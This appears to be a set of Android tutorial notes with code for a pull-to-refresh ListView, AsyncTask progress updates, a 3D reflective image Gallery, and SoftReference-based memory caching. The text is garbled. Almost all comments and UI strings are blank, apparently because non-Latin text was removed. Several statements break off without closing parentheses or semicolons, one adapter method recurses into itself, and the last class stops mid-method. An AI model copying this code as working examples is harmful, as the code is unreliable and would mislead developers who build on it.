<rotate	xmlns:android="http://schemas.android.com/apk/res/android"
				android:fromDegrees="0"
				android:pivotX="50%"



				android:pivotY="50%"
				android:toDegrees="360"	>
				<shape
								android:innerRadiusRatio="3"		//
								android:shape="ring"
								android:thicknessRatio="8"		//
								android:useLevel="false"	>		//
								<gradient
												android:centerColor="#FF6A6A"
												android:endColor="#FF0000"
												android:startColor="#FFFFFF"
												android:type="sweep"	/>	//
				</shape>
</rotate>



-

1SystemClock.sleep(time)Thread.sleep(time)
2UI
runOnUiThreadHandler+MessageAsyncTask
3ListViewprivate measureItem
4
5 	SimpleDateFormat

RefreshListView		
1ListView setOnScrollListener		item
2ListView,onTouchEvent()
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3	 OnRefreshListener		 setOnRefreshListener 	

4UI

4MainActivityrunOnUithread()Handler+MessageAsyncTask



1
aactivity_main.xml
<RelativeLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"	>
				<cn.zengfansheng.refreshListview.RefreshListView
								android:id="@+id/refresh_listview"
								android:layout_width="match_parent"
								android:layout_height="match_parent"	>
				</cn.zengfansheng.refreshListview.RefreshListView>
</RelativeLayout>		
blistview_head.xml
<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="wrap_content"
				android:orientation="horizontal"	>
				<!--1		-->
				<FrameLayout
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:layout_gravity="center"
								android:layout_marginBottom="5dp"
								android:layout_marginLeft="5dp"
								android:layout_marginTop="5dp"	>
								<!--		-->
								<ImageView
												android:id="@+id/iv_arrow"
												android:layout_width="50dp"
												android:layout_height="wrap_content"
												android:layout_gravity="center"
												android:src="@drawable/common_listview_headview_red_arrow"	/>
								<!--		-->
								<ProgressBar
												android:id="@+id/pb"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:indeterminateDrawable="@drawable/custom_progressbar"
												android:visibility="gone"	/>
				</FrameLayout>
				<LinearLayout
								android:layout_width="match_parent"



								android:layout_height="wrap_content"
								android:layout_marginBottom="5dp"
								android:layout_marginLeft="5dp"
								android:layout_marginTop="5dp"
								android:gravity="center"
								android:orientation="vertical"	>
								
								<!--		-->
								<TextView
												android:id="@+id/tv_refresh_status"
												android:layout_width="match_parent"
												android:layout_height="wrap_content"
												android:gravity="center"
												android:text=""
												android:textColor="#ff0000"
												android:textSize="20sp"	/>
								<!--		-->
								<TextView
												android:id="@+id/tv_last_update_time"
												android:layout_width="match_parent"
												android:layout_height="wrap_content"
												android:gravity="center"
												android:text="2013-12-02	23:28:02"
												android:textColor="@android:color/darker_gray"
												android:textSize="12sp"	/>
				</LinearLayout>
</LinearLayout>
2
RefreshListView.java
package	cn.zengfansheng.refreshListview;
import	java.text.SimpleDateFormat;
import	java.util.Date;
import	android.content.Context;
import	android.util.AttributeSet;
import	android.view.MotionEvent;
import	android.view.View;
import	android.view.ViewGroup;
import	android.view.animation.Animation;
import	android.view.animation.AnimationUtils;
import	android.widget.AbsListView;
import	android.widget.ImageView;
import	android.widget.ListView;



import	android.widget.ProgressBar;
import	android.widget.TextView;
public	class	RefreshListView	extends	ListView	{

				private	ImageView	iv_arrow;//	
				private	ProgressBar	pb;//	
				private	TextView	tv_refresh;//	
				private	TextView	tv_last_update;//	
				private	int	viewHeaderMeasuredHeight;//	
				private	int	myFirstVisibleItem;//	listview
				private	float	downY	=	-1;//	Y
				private	float	moveY;//	Y
				private	View	viewHeader;//	
				
				private	HeaderDisplayMode	headerDisplayMode	=	HeaderDisplayMode.PULL_DOWN
				private	float	paddingTop;//	headerview
				private	Animation	refresh_down_animation;//	
				private	Animation	refresh_up_animation;//	
				private	OnRefreshListener	mOnRefreshListener;//	

				public	RefreshListView(Context	context,	AttributeSet	attrs)	{
								super(context,	attrs);
								initHeader();//	
				}
				public	RefreshListView(Context	context)	{
								super(context);
								initHeader();//	
				}
				/**
					*	1
					*/
				public	void	initHeader()	{
								viewHeader	=	View.inflate(getContext(),	R.layout.listview_head,	null);
								iv_arrow	=	(ImageView)	viewHeader.findViewById(R.id.iv_arrow);
								pb	=	(ProgressBar)	viewHeader.findViewById(R.id.pb);
								tv_refresh	=	(TextView)	viewHeader.findViewById(R.id.tv_refresh_status);
								tv_last_update	=	(TextView)	viewHeader.findViewById(R.id.tv_last_update_time);
								//	
								//	iv_arrow.setMinimumWidth(40);
								/*System.out.println("getHeight()viewHeader"+viewHeader.getHeight());//0
								//	ListViewitem
								//	viewHeader



								measureHeader(viewHeader);
								System.out.println("getHeight()viewHeader"+viewHeader.getHeight());//0
								
								viewHeaderMeasuredHeight	=	viewHeader.getMeasuredHeight();
								System.out.println("getMeasuredHeight()viewHeader"+viewHeaderMeasuredHeight);//59
								
								//	headpaddingTop
								//viewHeader.setPadding(0,	-viewHeaderMeasuredHeight	/	2,	0,	0);//viewHeader
								viewHeader.setPadding(0,	-viewHeaderMeasuredHeight,	0,	0);//	*/
								tv_last_update.setText("" 	+	getCurrentTime());//	
								
								measureHeader(viewHeader);//	
								viewHeaderMeasuredHeight	=	viewHeader.getMeasuredHeight();
								
								viewHeader.setPadding(0,	-viewHeaderMeasuredHeight,	0,	0);//
								addHeaderView(viewHeader);
								
								//	
								this.setOnScrollListener(new	MyOnScrollListener());
								//	
								intiAnimation();
				}
				/**
					*	1-1
					*/
				private	void	intiAnimation()	{
								//	xml
								refresh_down_animation	=	AnimationUtils.loadAnimation(getContext(),	R.anim.refresh_down
								refresh_up_animation	=	AnimationUtils.loadAnimation(getContext(),R.anim.refresh_up
								
								//	
								/*refresh_down_animation	=	new	RotateAnimation(-180,	-360,	Animation.RELATIVE_TO_SELF,	0.5f,	Animation.RELATIVE_TO_SELF,	0.5f);
								refresh_down_animation.setDuration(500);
								refresh_down_animation.setFillAfter(true);*/
								/*refresh_up_animation	=	new	RotateAnimation(0,	-180,Animation.RELATIVE_TO_SELF,	0.5f,	Animation.RELATIVE_TO_SELF,	0.5f);
								refresh_up_animation.setDuration(500);
								refresh_up_animation.setFillAfter(true);*/
				}
				/**
					*	2head	item,ListView	
					*	Measure	a	particular	list	child.	unify	with	setUpChild.
					*	@param	viewHeaderThe	child.



					*/
				private	void	measureHeader(View	viewHeader)	{
								ViewGroup.LayoutParams	lp	=	viewHeader.getLayoutParams();
								if	(lp	==	null)	{
												lp	=	new	ViewGroup.LayoutParams(
																				ViewGroup.LayoutParams.MATCH_PARENT,
																				ViewGroup.LayoutParams.WRAP_CONTENT);
								}
								int	childWidthSpec	=	ViewGroup.getChildMeasureSpec(0,	0,	lp.width);//	
								int	lpHeight	=	lp.height;
								int	childHeightSpec;
								if	(lpHeight	>	0)	{
												childHeightSpec	=	MeasureSpec.makeMeasureSpec(lpHeight,	MeasureSpec.EXACTLY
								}	else	{
												childHeightSpec	=	MeasureSpec.makeMeasureSpec(0,	MeasureSpec.UNSPECIFIED
								}
								viewHeader.measure(childWidthSpec,	childHeightSpec);
				}
				
				/**
					*	3 -itemListView
					*	@author	hacket
					*/
				private	class	MyOnScrollListener	implements	OnScrollListener	{
								@Override
								public	void	onScrollStateChanged(AbsListView	view,	int	scrollState)	{
								}
								@Override
								public	void	onScroll(AbsListView	view,	int	firstVisibleItem,
																int	visibleItemCount,	int	totalItemCount)	{
												myFirstVisibleItem	=	firstVisibleItem;
								}
				}
				//	4
				@Override
				public	boolean	onTouchEvent(MotionEvent	event)	{
									
								switch	(event.getAction())	{
								case	MotionEvent.ACTION_DOWN://	
												downY	=	event.getY();//	downY-1
												System.out.println("downY:"	+	downY);
												break;



								case	MotionEvent.ACTION_MOVE://	
												//	,	
												if	(headerDisplayMode	==	HeaderDisplayMode.ISREFRESHING)	{//	
																break;
												}
												if	(downY	==	-1)	{
																downY	=	event.getY();
												}
												//	y
												moveY	=	event.getY();
												//		+	(y	-	y)	/	2
												paddingTop	=	-viewHeaderMeasuredHeight	+	(moveY	-	downY)	/	2;
												//paddingTopitem0	if
												if	(myFirstVisibleItem==0	&&	paddingTop	>	-viewHeaderMeasuredHeight)	{//	myFirstVisibleItemitem
																//	
																if	(paddingTop	>	0//	
																								&&	headerDisplayMode	==	HeaderDisplayMode.PULL_DOWN)	{//	0
																				//		
																				headerDisplayMode	=	HeaderDisplayMode.REALEASE_REFRESH;
																				refreshHeaderView();
																}	else	if	(paddingTop	<=	0	//	
																								&&	headerDisplayMode	==	HeaderDisplayMode.REALEASE_REFRESH)	{
																				//	
																				headerDisplayMode	=	HeaderDisplayMode.PULL_DOWN;
																				refreshHeaderView();
																}
																//	refreshHeaderView();//
																viewHeader.setPadding(0,	(int)	paddingTop,	0,	0);
																return	true;//	
												}
												break;
								case	MotionEvent.ACTION_UP://	
												//		
												if	(headerDisplayMode	==	HeaderDisplayMode.ISREFRESHING)	{//	
																break;
												}
												//	,	if	
												if	(headerDisplayMode	==	HeaderDisplayMode.REALEASE_REFRESH)	{
																headerDisplayMode	=	HeaderDisplayMode.ISREFRESHING;
																paddingTop	=	0;	
																viewHeader.setPadding(0,	(int)	paddingTop,	0,	0);
																refreshHeaderView();



																if	(mOnRefreshListener	!=	null)	{//	OnRefreshListener
																				//	
																				mOnRefreshListener.onRefresh();//	
																}
												//	
												}	else	if	(headerDisplayMode	==	HeaderDisplayMode.PULL_DOWN)	{
																//	
																paddingTop	=	-viewHeaderMeasuredHeight;
																viewHeader.setPadding(0,	(int)	paddingTop,	0,	0);
																refreshHeaderView();
												}
												downY	=	-1;
												moveY	=	-1;
												break;
								}
								return	super.onTouchEvent(event);//	,truetrue
				}
				/**
					*	5
					*/
				private	void	refreshHeaderView()	{
								if	(headerDisplayMode	==	HeaderDisplayMode.PULL_DOWN)	{//	
												iv_arrow.startAnimation(refresh_down_animation);
												tv_refresh.setText("" );
												System.out.println("~~~" );
								}	else	if	(headerDisplayMode	==	HeaderDisplayMode.REALEASE_REFRESH)	{//	
												iv_arrow.startAnimation(refresh_up_animation);
												tv_refresh.setText("" );
												System.out.println("~~~" );
								}	else	if	(headerDisplayMode	==	HeaderDisplayMode.ISREFRESHING)	{//	
												iv_arrow.clearAnimation();//	
												iv_arrow.setVisibility(View.GONE);
												pb.setVisibility(View.VISIBLE);
												tv_refresh.setText("" );
								}
				}
				/**
					*	6 headerview
					*	@author	hacket
					*/
				public	enum	HeaderDisplayMode	{
								PULL_DOWN,	//	



								REALEASE_REFRESH,	//	
								ISREFRESHING	//	
				}
				
				/**
					*	7-1
					*/
				public	interface	OnRefreshListener	{
								public	abstract	void	onRefresh();
				}
				/**
					*	7-2
					*	@param	mOnRefreshListener
					*/
				public	void	setOnRefreshListener(OnRefreshListener	mOnRefreshListener)	{
								this.mOnRefreshListener	=	mOnRefreshListener;
				}
				/**
					*	8
					*/
				public	void	refreshFinish()	{
								//	
								viewHeader.setPadding(0,	-viewHeaderMeasuredHeight,	0,	0);
								//	
								headerDisplayMode	=	HeaderDisplayMode.PULL_DOWN;
								//	
								pb.setVisibility(View.GONE);
								//	
								iv_arrow.setVisibility(View.VISIBLE);
								//	
								tv_refresh.setText("" );
								//	
								tv_last_update.setText("" 	+	getCurrentTime());
				}
				/**
					*	9
					*	@return
					*/
				private	String	getCurrentTime(){
								SimpleDateFormat	sdp	=	new	SimpleDateFormat("yyyy-MM-dd	hh:mm:ss");
								String	time	=	sdp.format(new	Date());
								return	time;



				}
}
3
MainActivity.java
package	cn.zengfansheng.refreshListview;
import	java.util.ArrayList;
import	java.util.List;
import	android.app.Activity;
import	android.graphics.Color;
import	android.os.AsyncTask;
import	android.os.Bundle;
import	android.os.SystemClock;
import	android.view.View;
import	android.view.ViewGroup;
import	android.widget.BaseAdapter;
import	android.widget.TextView;
import	android.widget.Toast;
import	cn.zengfansheng.refreshListview.RefreshListView.OnRefreshListener;
public	class	MainActivity	extends	Activity	{
				private	RefreshListView	refreshListView;
				private	List<Integer>	list;
				private	RefreshAdapter	freshAdapter;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								list	=	new	ArrayList<Integer>();
								for	(int	i	=	0;	i	<	50;	i++)	{
												list.add(i	+	1);
								}
								refreshListView	=	(RefreshListView)	this.findViewById(R.id.refresh_listview);
								if	(freshAdapter	==	null)	{
												freshAdapter	=	new	RefreshAdapter();
								}
								refreshListView.setAdapter(freshAdapter);
								//	
								refreshListView.setOnRefreshListener(new	OnRefreshListener()	{
												@Override
												public	void	onRefresh()	{
																//	TODO:
																//SystemClock.sleep(2000);//	Thread.sleep();
																//	3AsyncTask



																//	new	AsyncTask<Params,	Progress,	Result>
																new	AsyncTask<String,	Object,	Integer>()	{
																				@Override
																				protected	void	onPreExecute()	{
																								super.onPreExecute();
																								Toast.makeText(getApplicationContext(),	"" ,	0).show();
																				}
																				@Override
																				protected	Integer	doInBackground(String...	params)	{//	1StringIntegerresult
																								String	p1	=	params[0];
																								String	p2	=	params[1];
																								System.out.println("params:"	+	p1	+	":"	+	p2);
																								list.add(0,	(int)	(Math.random()	*	10));
																								SystemClock.sleep(2000);
																								return	202;
																				}
																				@Override
																				protected	void	onPostExecute(Integer	result)	{//	3Integer
																								super.onPostExecute(result);
																								System.out.println("result:"	+	result);
																								refreshListView.refreshFinish();
																								freshAdapter.notifyDataSetChanged();
																								Toast.makeText(getApplicationContext(),	"" ,	0).show();
																				}
																				@Override
																				protected	void	onProgressUpdate(Object...	values)	{//	2Object
																								super.onProgressUpdate(values);
																				}
																}.execute("hehe",	"haha");//	1String,
																//	2	Handler+Message
																//	
																/*
																	final	Handler	handler	=	new	Handler()	{
																				@Override
																				public	void	handleMessage(Message	msg)	{
																								super.handleMessage(msg);
																								refreshListView.refreshFinish();
																								freshAdapter.notifyDataSetChanged();
																								Toast.makeText(getApplicationContext(),	"",	0).show();
																				}
																};
																new	Thread()	{



																				public	void	run()	{
																								SystemClock.sleep(2000);
																								list.add(0,	(int)	(Math.random()	*	10));
																								handler.sendEmptyMessage(0);//	
																				}
																}.start();*/
																
																//	1runOnUiThread
																/*new	Thread()	{	
																				public	void	run()	{
																								SystemClock.sleep(2000);//
																								list.add(0,	new	Random().nextInt(100));
																								runOnUiThread(new	Runnable()	{
																												public	void	run()	{
																																refreshListView.refreshFinish();//	 ui
																																freshAdapter.notifyDataSetChanged();
																																Toast.makeText(getApplicationContext(),	"",	0).show();
																												}
																								});
																				}
																}.start();*/
												}
								});
				}
				
				/**
					*	1
					*	@author	hacket
					*/
				private	class	RefreshAdapter	extends	BaseAdapter	{
								@Override
								public	int	getCount()	{
												if	(list	!=	null)	{
																return	list.size();
												}
												return	0;
								}
								@Override
								public	Object	getItem(int	position)	{
												return	getItem(position);
								}
								@Override



								public	long	getItemId(int	position)	{
												return	position;
								}
								@Override
								public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{
												
												TextView	tView;
												if	(convertView	!=	null	&&	convertView	instanceof	TextView)	{
																tView	=	(TextView)	convertView;
												}	else	{
																tView	=	new	TextView(getApplicationContext());
												}
												Integer	i	=	list.get(position);
												tView.setTextColor(Color.BLACK);
												tView.setText("" +i);
												return	tView;
								}
				}
}
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AsyncTask

1
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:gravity="center"
				android:orientation="vertical"	>
				<Button
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:onClick="click"
								android:text="" 	/>
				<ProgressBar
								android:id="@+id/pb"
								style="?android:attr/progressBarStyleHorizontal"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:layout_gravity="center"
								android:layout_marginLeft="10dp"
								android:layout_marginRight="10dp"
								android:scrollbarSize="50dp"	/>
</LinearLayout>
2
package	cn.zengfansheng.asyncDownload;
import	java.util.ArrayList;
import	java.util.List;
import	android.app.Activity;
import	android.os.AsyncTask;
import	android.os.Bundle;
import	android.os.SystemClock;
import	android.view.View;
import	android.widget.ProgressBar;
import	android.widget.Toast;
public	class	MainActivity	extends	Activity	{
				private	ProgressBar	pb;
				private	List<Student>	list;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);



								pb	=	(ProgressBar)	this.findViewById(R.id.pb);
				}
				public	void	click(View	view)	{
								//	AsyncTask
								MyAsyncTask	myAsyncTask	=	new	MyAsyncTask();
								myAsyncTask.execute("240");
				}
				/**
					*	:	
					*	:	,Integer
					*	:	
					*	@author	hacket
					*/
				private	class	MyAsyncTask	extends	AsyncTask<String,	Integer,	List<Student>>	{
								/**
									*		
									*/
								@Override
								protected	void	onPreExecute()	{
												super.onPreExecute();
												list	=	new	ArrayList<Student>();
												Toast.makeText(getApplicationContext(),	"~" ,	Toast.LENGTH_SHORT).show();
								}
								//	
								@Override
								protected	List<Student>	doInBackground(String...	params)	{//	onPostExecute
												System.out.println("params:"	+	params[0]);
												pb.setMax(100);
												for	(int	i	=	1;	i	<=	100;	i++)	{
																String	sex	=	(i%2==0?"male":"female");
																Student	student	=	new	Student(String.valueOf(i),"hacket_"+i,sex);
																list.add(student);
																publishProgress(i);//	onProgressUpdate
																SystemClock.sleep(100);
												}
												return	list;
								}
								//	
								@Override
								protected	void	onProgressUpdate(Integer...	values)	{//	
												super.onProgressUpdate(values);
												int	progress	=	values[0];



												pb.setProgress(progress);
								}
								//	
								@Override
								protected	void	onPostExecute(List<Student>	result)	{//	
												super.onPostExecute(result);
												List<Student>	students	=	result;
												for	(Student	student	:	students)	{
																System.out.println(student);
												}
												Toast.makeText(getApplicationContext(),	"~" ,	Toast.LENGTH_SHORT).show();
								}
				}
}
3



3DGallery

1	 CustomeGalleryGallery
2Bitmap
3List
4ListView
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ImageAdapter.java
package	cn.zengfansheng.customeGallery.adapter;

	

import	java.util.ArrayList;

import	java.util.List;

	

import	android.content.Context;

import	android.graphics.Bitmap;

import	android.graphics.Bitmap.Config;

import	android.graphics.BitmapFactory;

import	android.graphics.Canvas;

import	android.graphics.LinearGradient;

import	android.graphics.Matrix;

import	android.graphics.Paint;

import	android.graphics.PorterDuffXfermode;

import	android.graphics.Shader;

import	android.graphics.Shader.TileMode;

import	android.graphics.drawable.BitmapDrawable;

import	android.view.View;

import	android.view.ViewGroup;

import	android.widget.BaseAdapter;

import	android.widget.Gallery.LayoutParams;

import	android.widget.ImageView;

	

public	class	ImageAdapter	extends	BaseAdapter	{

	

				private	Context	context;

				private	int[]	imageIds;

				private	List<ImageView>	imageViews;

	

				public	ImageAdapter(Context	context,	int[]	imageIds)	{

								this.context	=	context;

								this.imageIds	=	imageIds;

								imageViews	=	new	ArrayList<ImageView>();

	

				}

	

				/**

					*	

					*/

				public	void	getInvertImage()	{

	

								int	interval	=	5;//

	



								for	(int	i	=	0;	i	<	imageIds.length;	i++)	{

	

												//1bitmap

												Bitmap	resourceBitmap	=

BitmapFactory.decodeResource(context.getResources(),	imageIds[i]);

	

												//	bitmap

												int	width	=	resourceBitmap.getWidth();

												int	height	=	resourceBitmap.getHeight();

	

												//2bitmap

												Matrix	matrix	=	new	Matrix();

												float[]	values	=	new	float[]{

																				1,0,0,

																				0,-1,resourceBitmap.getHeight(),

																				0,0,1

												};

												matrix.setValues(values);

												//	matrix.setRotate(180,	1,	-1);

												//bitmap

												Bitmap	invertBitmap	=

Bitmap.createBitmap(resourceBitmap,0,height/2,width,height/2,	matrix,	false);

	

												//3bitmap

												Config	config	=	Config.ARGB_8888;//	4B

												Bitmap	resultBitmap	=	Bitmap.createBitmap(width,	(int)	(height	*

1.5	+	10),	config);

	

												//	4bitmap

												Canvas	canvas	=	new	Canvas(resultBitmap);

	

												//	4-1bitmap

												Paint	defaultPaint	=	new	Paint();

												canvas.drawBitmap(resourceBitmap,	0,	0,	defaultPaint);

	

												//	

												canvas.drawRect(0,	height,	width,	height	+	interval,

defaultPaint);

	

												//	4-2bimmap

												canvas.drawBitmap(invertBitmap,	0,	height	+	interval,

defaultPaint);

	

												//	5ImageView

												BitmapDrawable	bitmapDrawable	=	new

BitmapDrawable(context.getResources(),	resultBitmap);

												bitmapDrawable.setAntiAlias(true);//	

	

												ImageView	iv	=	new	ImageView(context);

												iv.setImageDrawable(bitmapDrawable);

	

												//	7

												@SuppressWarnings("deprecation")

												LayoutParams	params	=	new	LayoutParams(160,	320);

												iv.setLayoutParams(params);



	

												//	8

												Paint	paint	=	new	Paint();

												paint.setXfermode(new

PorterDuffXfermode(android.graphics.PorterDuff.Mode.DST_IN));

	

												//	9

												Shader	shader	=	new	LinearGradient(0,	height,	0,

resultBitmap.getHeight(),0x70ffffff,	0x00ffffff,	TileMode.CLAMP);

												paint.setShader(shader	);

												canvas.drawRect(0,	height,	width,	resultBitmap.getHeight(),

paint);

	

												//	10

												imageViews.add(iv);

	

								}

				}

	

				@Override

				public	int	getCount()	{

								if	(imageViews	!=	null)	{

												return	imageViews.size();//	return

								}

								return	0;

				}

	

				@Override

				public	Object	getItem(int	position)	{

								return	null;

				}

	

				@Override

				public	long	getItemId(int	position)	{

								return	position;

				}

	

				@Override

				public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{

								return	imageViews.get(position);

				}

}

CustomeGallery.java
package	cn.zengfansheng.customeGallery.view;
import	android.content.Context;
import	android.graphics.Camera;
import	android.graphics.Matrix;
import	android.util.AttributeSet;
import	android.view.View;
import	android.view.animation.Transformation;
import	android.widget.Gallery;



import	android.widget.ImageView;
/**
	*	Gallery
	*	@author	hacket
	*/
@SuppressWarnings("deprecation")
public	class	CustomeGallery	extends	Gallery	{
				
				private	int	currentCenterOfGallery;//	
				public	CustomeGallery(Context	context,	AttributeSet	attrs)	{
								super(context,	attrs);
								setStaticTransformationsEnabled(true);//	()
				}
				public	CustomeGallery(Context	context,int[]	imageIds)	{
								super(context);
								setStaticTransformationsEnabled(true);//	()
				}
				@Override
				protected	void	onSizeChanged(int	w,	int	h,	int	oldw,	int	oldh)	{
								super.onSizeChanged(w,	h,	oldw,	oldh);
								currentCenterOfGallery	=	getCurrentCenterOfGallery();
				}
				//	1 grallery
				public	int	getCurrentCenterOfGallery(){
								//	 grallery-paddingLeft-paddingRigth/2+paddingLeft
								//	getLeft()+getWidth()/2;
								return	(getWidth()-getPaddingLeft()-getPaddingRight())/2+getPaddingLeft();
				}
				//	2
				public	int	getCurrentCenterOfView(View	view)	{
								return	view.getLeft()	+	view.getWidth()	/	2;
				}
				//	3
				@Override
				protected	boolean	getChildStaticTransformation(View	child,	Transformation	t)	{
								//	
								int	currentOfChild	=	getCurrentCenterOfView(child);
								int	childHeight	=	child.getLayoutParams().height;
								int	childWidth	=	child.getLayoutParams().width;
								int	rotateAngle	=	0;//	
								t.clear();//	
								//	



								t.setTransformationType(Transformation.TYPE_MATRIX);
								if	(currentOfChild	==	currentCenterOfGallery)	{
												//	0
												transformationBitmap((ImageView)	child,	t,	0);
								}	else	{
												//	
												rotateAngle	=	(int)	((float)
(currentCenterOfGallery	-	currentOfChild)	/childWidth		*	maxRotateAngle);
												if(Math.abs(rotateAngle)	>	maxRotateAngle){//maxRotateAngle
																rotateAngle	=	rotateAngle	<	0	?	-maxRotateAngle	:	maxRotateAngle;
												}
												transformationBitmap((ImageView)	child,	t,	rotateAngle);
								}
								return	true;
				}
				private	Camera	camera	=	new	Camera();
				
				private	int	maxZoom	=	-250;//
				
				private	int	maxRotateAngle	=	50;//
				
				//	
				private	void	transformationBitmap(ImageView	child,Transformation	t,int	rotateAngle)
{
								
								camera.save();//
								
								Matrix	imageMatrix	=	t.getMatrix();
								int	rotate	=	Math.abs(rotateAngle);
								int	imageWidth	=	child.getWidth();
								int	imageHeight	=	child.getHeight();
								//z							
								//x	y
								camera.translate(0.0f,	0.0f,	100.0f);
								
								if	(rotate	<	maxRotateAngle)	{
												float	zoom	=	(float)	((rotate	*	1.5)	+	maxZoom);
												camera.translate(0.0f,	0.0f,	zoom);
												child.setAlpha((int)	(255	-	rotate	*	2.5));
								}
								
								//		



								camera.rotateY(rotateAngle);
								camera.getMatrix(imageMatrix);
								//	Preconcats	matrix
								//	Postconcats	matrix
								imageMatrix.preTranslate(-(imageWidth	/	2),	-(imageHeight	/	2));
								imageMatrix.postTranslate((imageWidth	/	2),	(imageHeight	/	2));
								camera.restore();//	
				}
}

OOM

SoftReference()ImageView
System.gc()	
1ms(log)
2
Indicates	to	the	VM	that	it	would	be	a	good	time	to	run	the	garbage	collector.
Note	that	this	is	a	hint	only.	There	is	no	guarantee	that	the	garbage	collector	will
actually	be	run.

OOM OOM

	
SoftReference,
a)	newmap
private	Map<Integer,	SoftReference<ImageView>>	map	=		new	HashMap<Integer,	SoftReference<ImageView>>();



b)ImageView
public	void	intiImageView(){
				for	(int	i	=	0;	i	<	imageIds.length;	i++)	{
								//	idImageView
								ImageView	invertImageView	=	getInvertImage(imageIds[i]);
								//	ImageView
								SoftReference<ImageView>	softReferenceIV	=	new	SoftReference<ImageView>
(invertImageView);
								//	map
								map.put(i,	softReferenceIV);
				}
}		
c)	ImageViewget()null
nullImageView
//	
SoftReference<ImageView>	ivSoftReference	=	map.get(position);
//	
ImageView	imageView	=	ivSoftReference.get();//null,
if	(imageView	==	null)	{//	null,
				Log.i(TAG,	"" +position);
				imageView	=	getInvertImage(imageIds[position]);
}
//	
return	imageView;	

1514,13get()





3DGallery-

OOM

Out	Of	Memory

		ReferenceQueue	Java
	 			ReferenceQueue	

Java

package	cn.zengfansheng.customeGallery.adapter;

	

import	java.lang.ref.SoftReference;

import	java.util.HashMap;

import	java.util.Map;

	

import	android.content.Context;

import	android.graphics.Bitmap;

import	android.graphics.Bitmap.Config;

import	android.graphics.BitmapFactory;

import	android.graphics.Canvas;

import	android.graphics.LinearGradient;

import	android.graphics.Matrix;

import	android.graphics.Paint;

import	android.graphics.PorterDuffXfermode;

import	android.graphics.Shader;

import	android.graphics.Shader.TileMode;

import	android.graphics.drawable.BitmapDrawable;

import	android.util.Log;

import	android.view.View;

import	android.view.ViewGroup;

import	android.widget.BaseAdapter;

import	android.widget.Gallery.LayoutParams;

import	android.widget.ImageView;

	

public	class	ImageAdapter	extends	BaseAdapter	{

	

				private	static	final	String	TAG	=	"ImageAdapter";

	

				private	Context	context;

				private	int[]	imageIds;

	

				//private	List<ImageView>	imageViews;

	

				/**

					*	

					*/

				private	Map<Integer,	SoftReference<ImageView>>	map;

	



				public	ImageAdapter(Context	context,	int[]	imageIds)	{

								this.context	=	context;

								this.imageIds	=	imageIds;

	

								//imageViews	=	new	ArrayList<ImageView>();

								map	=	new	HashMap<Integer,	SoftReference<ImageView>>();

								intiImageView();

				}

	

				/**

					*	ImageView

					*/

				public	void	intiImageView(){

								for	(int	i	=	0;	i	<	imageIds.length;	i++)	{

												//	idImageView

												ImageView	invertImageView	=	getInvertImage(imageIds[i]);

	

												//	ImageView

												SoftReference<ImageView>	softReferenceIV	=	new

SoftReference<ImageView>(invertImageView);

	

												//	map

												map.put(i,	softReferenceIV);

								}

				}

				/**

					*	

					*/

				public	ImageView	getInvertImage(int	imageId)	{

	

								int	interval	=	5;//

	

								//1bitmap

								Bitmap	resourceBitmap	=

BitmapFactory.decodeResource(context.getResources(),	imageId);

	

								//	bitmap

								int	width	=	resourceBitmap.getWidth();

								int	height	=	resourceBitmap.getHeight();

	

								//2bitmap

								Matrix	matrix	=	new	Matrix();

								float[]	values	=	new	float[]{

																1,0,0,

																0,-1,resourceBitmap.getHeight(),

																0,0,1

								};

								matrix.setValues(values);

								//	matrix.setRotate(180,	1,	-1);

								//bitmap

								Bitmap	invertBitmap	=

Bitmap.createBitmap(resourceBitmap,0,height/2,width,height/2,	matrix,

false);

	

								//3bitmap



								Config	config	=	Config.ARGB_8888;//	4B

								Bitmap	resultBitmap	=	Bitmap.createBitmap(width,	(int)	(height	*	1.5

+	10),	config);

	

								//	4bitmap

								Canvas	canvas	=	new	Canvas(resultBitmap);

	

								//	4-1bitmap

								Paint	defaultPaint	=	new	Paint();

								canvas.drawBitmap(resourceBitmap,	0,	0,	defaultPaint);

	

								//	

								canvas.drawRect(0,	height,	width,	height	+	interval,	defaultPaint);

	

								//	4-2bimmap

								canvas.drawBitmap(invertBitmap,	0,	height	+	interval,	defaultPaint);

	

								//	5ImageView

								BitmapDrawable	bitmapDrawable	=	new

BitmapDrawable(context.getResources(),	resultBitmap);

								bitmapDrawable.setAntiAlias(true);//	

	

								ImageView	iv	=	new	ImageView(context);

								iv.setImageDrawable(bitmapDrawable);

	

								//	7

								@SuppressWarnings("deprecation")

								LayoutParams	params	=	new	LayoutParams(160,	320);

								iv.setLayoutParams(params);

	

								//	8

								Paint	paint	=	new	Paint();

								paint.setXfermode(new

PorterDuffXfermode(android.graphics.PorterDuff.Mode.DST_IN));

	

								//	9

								Shader	shader	=	new	LinearGradient(0,	height,	0,

resultBitmap.getHeight(),0x70ffffff,	0x00ffffff,	TileMode.CLAMP);

								paint.setShader(shader	);

								canvas.drawRect(0,	height,	width,	resultBitmap.getHeight(),	paint);

	

								//	10ImageView

								return	iv;

				}

	

				@Override

				public	int	getCount()	{

								/*if	(imageViews	!=	null)	{

												return	imageViews.size();//	return

								}*/

								if	(map!=null)	{

												return	map.size();

								}

								return	0;



				}

	

				@Override

				public	Object	getItem(int	position)	{

								return	null;

				}

	

				@Override

				public	long	getItemId(int	position)	{

								return	position;

				}

	

				@Override

				public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{

	

								//	

								SoftReference<ImageView>	ivSoftReference	=	map.get(position);

	

								//	

								ImageView	imageView	=	ivSoftReference.get();//null,

								if	(imageView	==	null)	{//	null,

												Log.i(TAG,	"" +position);

												imageView	=	getInvertImage(imageIds[position]);

								}

								//	

								return	imageView;

	

